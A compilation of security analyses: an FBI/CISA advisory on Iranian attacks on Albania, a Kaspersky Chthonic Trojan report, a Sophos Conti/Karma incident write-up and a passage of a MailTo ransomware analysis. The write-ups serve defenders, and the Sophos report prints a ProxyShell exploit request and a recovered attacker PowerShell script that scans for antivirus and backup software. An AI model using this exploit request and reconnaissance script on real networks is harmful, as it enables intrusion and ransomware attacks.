- d7a7b6a874ad9fb184e29937c7c2828134ec9fa30b51820248e7b8a00cc9d7cc
- 4d861ffca296dac63f57c1b71e79bdc8fd353f886e606180b8e2f85602548ac9
- 23a0f646d40727d4d56d096b09b8d43113bfea2c6a55803275d7713369f69b96
- de8584e3357b3de38235d908f071d8b20987cf532943966b64ba52bb56ce09b5
- 8d5cfbb7e3bf757090a9815cd7dc4996026e4849714cbd83ad8cc962bc85ce5f
- d8add7796feed041711f76c0422e1c1c93b323d273a46eb985179b52c09ec1a3
- 6d6c69f27b674b809d6169c7896369e1016b83addc4987bf10b96c7246c3c7be
- 0dc29a71ced37e980eeff777b22a1414f3432955f54ecd8ae9cbcfa73dc71c3e
- 65d97e756aca99a983305d3aa25c120480426274e3de7a41da06ea9e068a0491
- 9fcac04a1d4fb109da558e36688b2873df4b8aade452c1740a235e181b279976
- e864a4270f414a200648533f92bf6f0f497bea880e7cc3122220a76d9538719d
- 41aecb150e9f1250c5953e87f2e470cb0a18c74b7387414cee503690de2dec13
- 6c96461480bfa5bea4d4a7ae3b5718b89697785fea835077e8031405bebb5a87
- 88c976e37f5efb01987f010488b54670723e3886b064b979166f24c72519c015
- ab9b5877e00d656725272704554fba587eded3c4258a4b95e74655f147d3766d
- 8a1cc427d6d235f2bdb415671c66375206f941ba70c5521507d498e448006305
- 328cfa7bac115ff328c6d0c4714483d95d6a32e0a3e94178b247c0db38f8a0f2
- 596117ba1f4aec95e5f6e9c055242c24c580d947b864ddccc08f3c7bef856dd7
- d4f18450c6174dcef50b1a25bb866282fd06936afc6a35f8a161d3a450147935
- a3e1fb6f041e3745753c48d92db105796fbad58ff307aee442f845837f2c3ae5
- f1613ab80dff1b78b797dec467415a3d49ce87388ebcd579b24aba28e8c778e5
- 1a458c210458fcdbeec740acdb0ad07e1c7c3ad1c7bac4139e4ebd632552e062
- 27e552045d3ad74e36d20c47357ee62795b7776457f62e2a8ebbf1901bd47a5b
- a7608c803368b3cecd7f129a0f9abddd398808759792426e1dbe4c14972e9ef6
- 5b9f5cc0373e6682a652b695357e49b1c017697fc6c3ec06db2b4a1001dbfd81
- 7ff23d2ff8650809bb37718c64b8e3d8ce7124a5ca0108ff4260489111f5b055
- f644c86a18173bdccc675518a3860ee3c0559dedd3460dcf2629d032f844a107
- 158ef48b0d9f1e0b5d3f8fdc7cea452d1638d856f8d3c168ddfd1a8221dba3cc
- 311e3c20c84c9c33fb5dd86fcdb3c758f3578d7977011f4918d3c7f9ec531cae
- b7f90a66f4463e24ab8bd7cf5c9e0559d864ee7ad01fb7aa1926f852fd3df8bc
- 8c1613e6b9e54caf79106574f50052d077b0fe8260fef8b6ee2ca3a7af8ebfae
- 27121f8e76b76c4bb10f955360651ada13ea1358e75f494368a3d49ad81814b8 |
# Iranian State Actors Conduct Cyber Operations Against the Government of Albania
## SUMMARY
The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B.
In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. An FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating email content.
Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware.
In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, HomeLand Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown.
In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These followed closely after actions by Albania to publicly attribute the July cyber attacks and to sever diplomatic ties with Iran.
## TECHNICAL DETAILS
### Initial access
- **Timeframe:** Approximately 14 months before encryption and wiper attacks.
- **Details:** Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604.
### Persistence and Lateral movement
- **Timeframe:** Approximately several days to two months after initial compromise.
- **Details:** After obtaining access to the victim environment, the actors used several .aspx webshells (pickers.aspx, error4.aspx, ClientBin.aspx) to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment.
### Exchange Server compromise
- **Timeframe:** Approximately 1-6 months after initial compromise.
- **Details:** The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group.
### Likely Email exfiltration
- **Timeframe:** Approximately 8 months after initial compromise.
- **Details:** The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data.
### VPN activity
- **Timeframe:** Approximately 12-14 months after initial compromise.
- **Details:** Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping.
### File Cryptor (ransomware-style file encryptor)
- **Timeframe:** Approximately 14 months after initial compromise.
- **Details:** For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted.
### Wiper attack
- **Timeframe:** Approximately 14 months after initial compromise.
- **Details:** In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe). Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server.
## MITIGATIONS
- Ensure anti-virus and anti-malware software is enabled and signature definitions are updated regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing.
- Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks.
- If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched. Prioritize patching known exploited vulnerabilities.
- Monitor for unusually large amounts of data (i.e., several GB) being transferred from a Microsoft Exchange server.
- Check the host-based indications, including webshells, for positive hits within your environment.
Additionally, FBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:
- Maintain and test an incident response plan.
- Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities.
- Properly configure and secure internet-facing network devices.
- Do not expose management interfaces to the internet.
- Disable unused or unnecessary network ports and protocols.
- Disable/remove unused network services and devices.
- Adopt zero-trust principles and architecture, including:
- Micro-segmenting networks and functions to limit or block lateral movements.
- Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections.
- Restricting access to trusted devices and users on the networks.
For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage – Iran Cyber Threat Overview and Advisories.
## Appendix A: Host-based IOCs
| File | MD5 Hash | Notes |
|--------------------------|--------------------------------------------|--------------------------------------------|
| Error4.aspx | 81e123351eb80e605ad73268a5653ff3 | Webshell |
| cl.exe | 7b71764236f244ae971742ee1bc6b098 | Wiper |
| GoXML.exe | bbe983dba3bf319621b447618548b740 | Encryptor |
| Goxml.jpg | 0738242a521bdfe1f3ecc173f1726aa1 | |
| ClientBin.aspx | a9fa6cfdba41c57d8094545e9b56db36 | Webshell (reverse-proxy connections) |
| Pickers.aspx | 8f766dea3afd410ebcd5df5994a3c571 | Webshell |
| evaluatesiteupgrade.cs.aspx | Unknown | Webshell |
| mellona.exe | 78562ba0069d4235f28efd01e3f32a82 | Propagation for Encryptor |
| win.bat | 1635e1acd72809479e21b0ac5497a79b | Launches GoXml.exe on startup |
| win.bat | 18e01dee14167c1cf8a58b6a648ee049 | Changes desktop background to encryption image |
## Appendix B: Ransomware Cryptor
GoXML.exe is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC). If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog window is presented, and any opened documents receive an error prompt labeled, Xml Form Builder.
All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string yes. If so, it will continue to decode its internal strings.
The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error.
The syntax error consists of a missing backslash that separates system32 and cmd.exe, so the process is launched as system32cmd.exe which is an invalid command.
The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note.
The cryptor places a file called How_To_Unlock_MyFiles.txt in directories with encrypted files. Each encrypted file is given the .lck extension and the contents of each file are only encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit. Separately, the actor ran a batch script (win.bat below) to set a specific desktop background.
### File Details
- **GoXml.exe**
- File Size: 43.48 KB (44520 bytes)
- SHA256: f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5
- SHA1: 5d117d8ef075f3f8ed1d4edcc0771a2a0886a376
- MD5: bbe983dba3bf319621b447618548b740
- File Type: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
- **win.bat (#1, run malware)**
- File Size: 67 bytes
- SHA256: bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6
- SHA1: 14b8c155e01f25e749a9726958606b242c8624b9
- MD5: 1635e1acd72809479e21b0ac5497a79b
- File Type: ASCII text, with no line terminators
- Contents: start /min C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7
- **win.bat (#2, install desktop image)**
- File Size: 765 bytes
- SHA256: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2
- SHA1: fce0db6e66d227d3b82d4564446ede0c0fd7598c
- MD5: 18e01dee14167c1cf8a58b6a648ee049
- File Type: DOS batch file text, ASCII text, with CRLF line terminators
- **goxml.jpg**
- File Size: 1.2 MB (1259040 bytes)
- SHA256: 63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9
- File Type: JPEG image data, Exif standard
### Disk Wiper
The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line, the cl.exe file accepts the arguments:
- in
- un
- wp <optional argument>
If executed with the in command, the utility will output in start! and installs a hard coded file named rwdsk.sys as a service named RawDisk3. The .SYS file is not extracted from the installer; however, the installer looks for the file in the same directory that the cl.exe is executed in. It will also load the driver after installation.
The un command uninstalls the service, outputting the message “un start!” to the terminal. The wp command will access the loaded driver for raw disk access.
### File Details
- **cl.exe**
- File Size: 142.5 KB (145920 bytes)
- SHA256: e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0
- SHA1: f22a7ec80fbfdc4d8ed796119c76bfac01e0a908
- MD5: 7b71764236f244ae971742ee1bc6b098
- Filetype: PE32+ executable (console) x86-64, for MS Windows
- **rwdsk.sys**
- File Size: 38.84 KB (39776 bytes)
- SHA256: 3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6
- SHA1: 5e061701b14faf9adec9dd0b2423ff3cfc18764b
- MD5: 8f6e7653807ebb57ecc549cef991d505
- Filetype: PE32+ executable (native) x86-64, for MS Windows
### Additional Files
- **ClientBin.aspx** is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. |
# Chthonic: a new modification of ZeuS
**Authors**
Yury Namestnikov
Vladimir Kuskov
Oleg Kupreev
In the fall of 2014, we discovered a new banking Trojan, which caught our attention for two reasons:
First, it is interesting from the technical viewpoint, because it uses a new technique for loading modules.
Second, an analysis of its configuration files has shown that the malware targets a large number of online-banking systems: over 150 different banks and 20 payment systems in 15 countries. Banks in the UK, Spain, the US, Russia, Japan, and Italy make up the majority of its potential targets.
Kaspersky Lab products detect the new banking malware as Trojan-Banker.Win32.Chthonic.
The Trojan is apparently an evolution of ZeusVM, although it has undergone a number of significant changes. Chthonic uses the same encryptor as Andromeda bots, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.
## Infection
We have seen several techniques used to infect victim machines with Trojan-Banker.Win32.Chthonic:
- sending emails containing exploits;
- downloading the malware to victim machines using the Andromeda bot (Backdoor.Win32.Androm in Kaspersky Lab classification).
When sending messages containing an exploit, cybercriminals attached a specially crafted RTF document, designed to exploit the CVE-2014-1761 vulnerability in Microsoft Office products. The file has a .DOC extension to make it look less suspicious.
In the event of successful vulnerability exploitation, a downloader for the Trojan was downloaded to the victim computer. The downloader injects its code into the msiexec.exe process. It seems that the downloader is based on the Andromeda bot’s source code, although the two use different communication protocols.
The Chthonic downloader contains an encrypted configuration file (similar encryption using a virtual machine was used in KINS and ZeusVM). The main data contained in the configuration file includes: a list of C&C servers, a 16-byte key for RC4 encryption, UserAgent, and botnet id.
After decrypting the configuration file, its individual parts are saved in a heap – in the following format:
This is done without passing pointers. The bot finds the necessary values by examining each heap element using the RtlWalkHeap function and matching its initial 4 bytes to the relevant MAGIC VALUE.
The downloader puts together a system data package typical of ZeuS Trojans (local_ip, bot_id, botnet_id, os_info, lang_info, bot_uptime, and some others) and encrypts it first using XorWithNextByte and then using RC4. Next, the package is sent to one of the C&C addresses specified in the configuration file.
In response, the malware receives an extended loader – a module in a format typical of ZeuS, i.e., not a standard PE file but a set of sections that are mapped to memory by the loader itself: executable code, relocation table, point of entry, exported functions, import table.
It should be noted that the imports section includes only API function hashes. The import table is set up using the Stolen Bytes method, using a disassembler included in the loader for this purpose. Earlier, we saw a similar import setup in Andromeda.
The extended loader also contains a configuration file encrypted using the virtual machine. It loads the Trojan’s main module, which in turn downloads all the other modules. However, the extended loader itself uses AES for encryption, and some sections are packed using UCL. The main module loads additional modules and sets up import tables in very much the same way as the original Chthonic downloader, i.e., this ZeuS variant has absorbed part of the Andromeda functionality.
## Modules
Trojan-Banker.Win32.Chthonic has a modular structure. To date, we have discovered the following modules:
- **main**: Main module (v4.6.15.0 – v4.7.0.0) - Yes
- **info**: Collects system information - Yes
- **pony**: Module that steals saved passwords - No
- **klog**: Keylogger - Yes
- **http**: Web injection and formgrabber module - Yes
- **vnc**: Remote access - Yes
- **socks**: Proxy server - Yes
- **cam_recorder**: Recording video from the web camera - Yes
The impressive set of functions enables the malware to steal online banking credentials using a variety of techniques. In addition, VNC and cam recorder modules enable attackers to connect to the infected computer remotely and use it to carry out transactions, as well as recording video and sound if the computer has a webcam and microphone.
## Injections
Web injections are Chthonic’s main weapon: they enable the Trojan to insert its own code and images into the code of pages loaded by the browser. This enables the attackers to obtain the victim’s phone number, one-time passwords, and PINs, in addition to the login and password entered by the victim.
For example, for one of the Japanese banks, the Trojan hides the bank’s warnings and injects a script that enables the attackers to carry out various transactions using the victim’s account.
The script can also display various fake windows in order to obtain the information needed by the attackers. Below is an example of a window which displays a warning of non-existent identification problems and prompts the user to enter TAN:
Our analysis of attacks against customers of Russian banks has uncovered an unusual web injection scenario. When opening an online banking web page in the browser, the entire contents of the page is spoofed, not just parts of it as in an ordinary attack. From the technical viewpoint, the Trojan creates an iframe with a phishing copy of the website that has the same size as the original window.
Additionally, the bot receives a command to establish a backconnect connection if the injection is successful.
## Coverage
There are several botnets with different configuration files. Overall, the botnets we are aware of target online banking systems of over 150 different banks and 20 payment systems in 15 countries. The cybercriminals seem most interested in banks in the UK, Spain, the US, Russia, Japan, and Italy.
It is worth noting that, in spite of the large number of targets on the list, many code fragments used by the Trojan to perform web injections can no longer be used, because banks have changed the structure of their pages and, in some cases, the domains as well. It should also be noted that we saw some of these fragments in other bots’ config files (e.g., Zeus V2) a few years back.
## Conclusion
We can see that the ZeuS Trojan is still actively evolving and its new implementations take advantage of cutting-edge techniques developed by malware writers. This is significantly helped by the ZeuS source code having been leaked. As a result, it has become a kind of framework for malware writers, which can be used by anyone and can easily be adapted to cybercriminals’ new needs. The new Trojan – Chthonic – is the next stage in the evolution of ZeuS: it uses Zeus AES encryption, a virtual machine similar to that used by ZeusVM and KINS, and the Andromeda downloader.
What all of this means is that we will undoubtedly see new variants of ZeuS in the future.
## A few md5:
- 12b6717d2b16e24c5bd3c5f55e59528c
- 148563b1ca625bbdbb60673db2edb74a
- 6db7ecc5c90c90b6077d5aef59435e02
- 5a1b8c82479d003aa37dd7b1dd877493
- 2ab73f2d1966cd5820512fbe86986618
- 329d62ee33bec5c17c2eb5e701b28639
- 615e46c2ff5f81a11e73794efee96b38
- 77b42fb633369de146785c83270bb289
- 78575db9f70374f4bf2f5a401f70d8ac
- 97d010a31ba0ddc0febbd87190dc6078
- b670dceef9bc29b49f7415c31ffb776a
- bafcf2476bea39b338abfb524c451836
- c15d1caccab5462e090555bcbec58bde
- ceb9d5c20280579f316141569d2335ca
- d0c017fef12095c45fe01b7773a48d13
- d438a17c15ce6cec4b60d25dbc5421cd |
# Conti and Karma Actors Attack Healthcare Provider Simultaneously Through ProxyShell Exploits
In early December, a healthcare provider in Canada was hit by two separate ransomware actors with very different tactics. The first ransomware group, identified as Karma, exfiltrated data but did not encrypt the target’s systems, claiming in the ransom note that they targeted a healthcare organization. The second group, identified as Conti, came onto the network later and deployed their ransomware less than a day after the Karma gang dropped their ransom notes. Sophos’ Rapid Response team had just begun talking with the targeted company hours earlier, and the customer had not yet deployed Sophos’ software to the portion of the network where ransomware had been staged by the Conti gang. Existing (non-Sophos) anti-malware measures did not impede the attack.
We have seen several cases of ransomware affiliates using ProxyShell to penetrate victims’ networks recently, including affiliates of Conti. Very few of those cases have involved two simultaneous ransomware groups.
## Setting Up Shop
Both attackers gained entry via ProxyShell exploits (targeting CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207 on Microsoft’s Exchange Server platform). The first intrusion using the exploit was on August 10, 2021, as recorded in the IIS access log:
```
GET /autodiscover/autodiscover.json @evil.corp/owa/? &Email=autodiscover/autodiscover.json%[email protected]&CorrelationID=<empty>;&cafeReqId=7f233041-e437-4b6a-b852-21c9b688f53c; 443 - 74.222.5.43
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 302 0 0 122
```
The commands that followed exploited the Exchange Management shell to create an administrative account, “Administrator,” and retrieve scripts from three remote servers—one in Hong Kong, another in Iran, and the last in Russia.
Prior to the attack, the compromised organization was utilizing Sophos’ On-premises Antivirus. Being reliant on signature-based detection, this was inadequate for detection of the ProxyShell exploit because ProxyShell uses web communications to exploit a trusted application and does not deploy malware. The “Administrator” account would later be used by one of the actors for lateral movement. While it cannot be confirmed from the available data, this first exploit was likely made by an access broker who later sold access to one (or both) of the ransomware operators.
At this point, the customer reached out to Sophos support for assistance to load a product onto their Exchange servers. While the customer had noticed email being sent automatically from some users, the focus was on installing the third-party product, and the intrusion was not discovered at this time.
A second set of intrusions using the ProxyShell exploit chain occurred on November 11. This attack installed a web shell on the Exchange Server’s IIS web server instance. After these intrusions, while continuing to assist the customer with the third-party product on their Exchange Servers, Sophos’ support recognized there may be indications of compromise and escalated the case for response assistance.
Actual efforts to penetrate the network began in earnest weeks later. Between November 29 and 30, system logs showed over 20 failed attempts and efforts to connect to other servers (including a domain controller), as well as a successful connection by the account “Administrator” to another web application server from the mail server. On November 30, the Administrator account was used to access an RDP session on a virtual machine or workstation, which was used to make the login attempts. This activity appears to be connected to the Karma gang.
Meanwhile, another compromised account made a series of Remote Desktop Protocol connections to other servers from a different compromised endpoint and executed PowerShell commands downloading Cobalt Strike beacons from the same host used for scripts on November 30.
On November 30, after a few attempts on other systems, the attacker using the Administrator account successfully connected to another system (104[.]168.44.130), launching batch scripts that installed Cobalt Strike “beacons” as a service. Cobalt Strike was deployed to email servers, domain controllers, and a few other systems, with more being targeted the next day. Collection began on December 1, with the creation of .RAR archives of data on multiple systems.
## Things Get Messy
On December 1 and 2, the Karma gang finished gathering data and pushed it up to the Mega cloud storage service—exfiltrating 52 gigabytes of archived files. Then the Karma malware was deployed, using the compromised Administrator account. The malware distributed the ransom note through a service created on each targeted system, which copied the note from its original location and launched a batch file.
Coming into work on December 3, employees of the targeted organization found the Karma ransom note as wallpaper on about 20 workstations and servers. The ransom note claimed that data had only been exfiltrated and not encrypted because the Karma gang had identified the target as a healthcare organization.
At that time, the organization called in the Sophos Rapid Response team, and a kickoff teleconference was held early on December 3, and monitoring tools were put in place to begin to understand what had happened. But within a few hours of the beginning of the Rapid Response engagement, the second ransomware group launched its attack.
Two compromised accounts were active on December 3—the Administrator account and a second account with administrative privileges. One of these accounts installed the Chrome browser on the primary file server. Then, by way of the compromised Administrator account, malware was deployed to one of the organization’s servers. The sample, 64.dll, was identified by SophosLabs as Conti. It was loaded using regsvr.exe. As part of its execution, a batch file, def.bat, was launched, containing commands to disable Windows Defender on the targeted server. This took place even as Karma was dropping ransom notes on additional systems.
Meanwhile, the targeted organization’s network defenses detected and blocked Cobalt Strike activity coming from one of the organization’s mail servers (not the one serving as the point of entry). The detected Cobalt Strike C2 communications were to a server in a Netherlands datacenter operated by a Bulgarian hosting company. The second compromised account was used to download Cobalt Strike beacons to additional systems across the network.
Shortly after that, the second compromised account was used to drop a script into a local folder on a domain server. That PowerShell script, named Get-DataInfo.ps1, gathered network data via Windows Management Instrumentation queries and sent it back to a remote command and control server. Part of the script was recovered from system logs; it searches for software of interest on computers on the network, including anti-malware and backup software, as well as other software that might interfere with encryption by ransomware.
```powershell
function Get-Software {
# Variables
$av_list = @("Traps", "threat", "Sentinel", "Defence", "Defender", "Endpoint", "AV", "AntiVirus", "BitDefender", "Kaspersky", "Norton", "Avast", "WebRoo", "AVG", "ESET", "Malware", "Defender", "Sophos", "Trend", "Symantec Endpoint Protection", "Security")
$backup_list = @("Veeam", "Backup", "Recovery", "Synology", "C2", "Cloud", "Dropbox", "Acronis", "Cobian", "EaseUS", "Paragon", "IDrive")
$exclude_list = @("KONICA", "UltraVnc", "Update", "Hitachi Storage Navigator Modular", ".NET", "Office", "Adobe", "Word", "Excel", "Outlook", "PowerPoint", "Publisher", "Java", "Office", "Learning", "Support", "done")
$computername = Get-Content ".\result\livePCs.txt" -ReadCount 0
$ErrorActionPreference = "Stop"
$Branch = "LocalMachine"
$SubBranch = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$SubBranch64 = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$tabName = "SampleTable"
$table = New-Object system.Data.DataTable $table_name
$col1 = New-Object system.Data.DataColumn SystemName,([string])
$col2 = New-Object system.Data.DataColumn Type,([string])
$col3 = New-Object system.Data.DataColumn Name,([string])
$col4 = New-Object system.Data.DataColumn Hide,([string])
$table.columns.add($col1)
$table.columns.add($col2)
$table.columns.add($col3)
$table.columns.add($col4)
$computers = $computername.Length
$x = 0
write-host -foregroundcolor cyan "Grubbing Software.info"
write-host -foregroundcolor cyan "Testing $computers computers, this may take a while."
foreach ($computer in $computername {
if (Test-Connection -ComputerName $computer -Quiet -count 2 -BufferSize 4 -Delay 1) {
Try {
$registry = [microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch, $computer)
$registrykey = $registry.OpenSubKey($Subbranch)
$SubKeys = $registrykey.GetSubKeyNames()
Foreach ($key in $subkeys) {
$exactkey = $key
$NewSubKey = $SubBranch + "\\" + $exactkey
$ReadUninstall = $registry.OpenSubKey($NewSubKey)
$Value = $ReadUninstall.GetValue("DisplayName")
foreach ($exclude in $exclude_list) {
if ($Value -notmatch $exclude) {
foreach ($Av in $av_list) {
if ($Value -match $Av) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "AV"
$row.Name = $Value
$table.Rows.Add($row)
}
}
foreach ($backup in $backup_list) {
if ($Value -match $backup) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "Backup"
$row.Name = $Value
$table.Rows.Add($row)
}
}
}
}
}
} Catch {
Add-Content "$registry" -path .\result\error.txt
}
Try {
$registry = [microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch, $computer)
$registrykey = $registry.OpenSubKey($Subbranch64)
$SubKeys = $registrykey.GetSubKeyNames()
Foreach ($key in $subkeys) {
$exactkey = $key
$NewSubKey = $SubBranch + "\\" + $exactkey
$ReadUninstall = $registry.OpenSubKey($NewSubKey)
$Value = $ReadUninstall.GetValue("DisplayName")
foreach ($exclude in $exclude_list) {
if ($Value -notmatch $exclude) {
foreach ($Av in $av_list) {
if ($Value -match $Av) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "AV"
$row.Name = $Value
$table.Rows.Add($row)
}
}
foreach ($backup in $backup_list) {
if ($Value -match $backup) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "Backup"
$row.Name = $Value
$table.Rows.Add($row)
}
}
}
}
}
} Catch {
Add-Content "$registry" -path .\result\error.txt
}
$testcomputer_progress = [int][Math]::Ceiling((($x / $computers) * 100))
# Progress bar
Write-Progress "Grubbing Software.info" -PercentComplete $testcomputer_progress -Status "Percent Complete - $testcomputer_progress%" -Id 1;
Sleep(1);
$x++;
}
}
write-host -foregroundcolor cyan "Grubbing Software.info complete"
$tabCsv = $table | export-csv .\result\Software.csv -noType
}
```
The script has been in previous activity associated with the Bazar backdoor and with Ryuk ransomware. (The file itself was not recovered.)
Late on December 3, more data (10.7 gigabytes worth) was exfiltrated to Mega using the Chrome browser dropped on the file server earlier in the day; this appears to be the Conti group’s exfiltration. Moments later, the Conti ransomware attack began in earnest, with the def.bat file deployed to suppress Windows Defender detection. The ransomware encrypted files on the C: drive of affected systems and dropped the Conti ransom note.
## Aftermath
These dual ransom attacks highlight the risks associated with well-known Internet-facing software vulnerabilities—at least, ones that are well-known to malicious actors but may not be to the organizations running the affected software. All sizes of organizations can fall behind on vulnerability management—which is why having multiple layers of defense against malicious activity is important. Malware protection on servers as well as clients can impede ransomware operators from using unprotected servers to launch their attacks.
In this case, the initial access came over three months before there was any ransomware activity. This suggests the likelihood of an access broker discovering the ProxyShell vulnerability and either offering it for sale on a marketplace or simply sitting on it until ransomware affiliates wanted it.
Despite network monitoring and some malware defenses, both attackers in this case were able to largely accomplish their tactical goals. Only a few systems had Sophos malware protection at the time of the Conti attack, as the targeted organization had not yet had time to deploy it. In the few cases where Sophos had been deployed, ransomware protection detected Conti launching, but the ransomware was largely run from servers without protection.
As a result, much of the organization’s data was encrypted—as were the Karma ransom notes. Sophos detects Karma and Conti ransomware by behavior and signature; in this case, Conti was detected as Troj/Conti-C and Troj/Ransom-GLU, and blocked by CryptoGuard on protected systems; the Bazar script was detected by behavior as Mem/bazarld-c, Mem/bazarld-d, and Mem/conti-b.
A full list of IOCs for this attack is posted on SophosLabs’ GitHub page. |
# An In-depth Look at MailTo Ransomware, Part Three of Three
## Overview
In Part One of this series, we discussed how MailTo ransomware installs and configures itself on the victim's system. In Part Two, we discussed how the malware executes and injects itself into the system. In this post, we take a look at what makes ransomware different from other malware and gives it its deadly bite: encryption.
## Encryption
Just before the encryption routine begins, the MailTo ransomware performs the following tasks:
- Adjusts token privileges to give itself “SeDebugPrivilege” and “SeImpersonatePrivilege”.
- Collects tokens of logged-on users for use of impersonation.
- Scans system handle information for later use with removing processes/services from holding files from the ransomware.
We found that the ransomware uses this implementation of curve25519. This is implemented to create a key to be used with a ChaCha stream cipher to encrypt files. It is not possible to decrypt any encrypted files without the private key of the ransomware owners.
MailTo encrypts the following locations using a ChaCha stream cipher:
- Local Disk Drives
- Network Shares
- Hidden Network Shares (IPC$, Admin$)
The MailTo ransomware has three main threads that kick off the encryption, each thread having its own purpose. One of these threads is aimed at encrypting the local drive while the other two are targeted towards encrypting shared network locations.
### Encryption Thread 1
The first thread created for the encryption process serves the role of encrypting the local disk drives via the API function “GetLogicalDriveStringsW”. This function will return a list of drives and shared network locations. This routine will begin creating threads for every file and directory to encrypt on the found drives. It attempts to connect with the network locations using the current user’s access token and via the API functions “WNetUseConnectionW” and “WNetAddConnection2W”.
### Encryption Thread 2
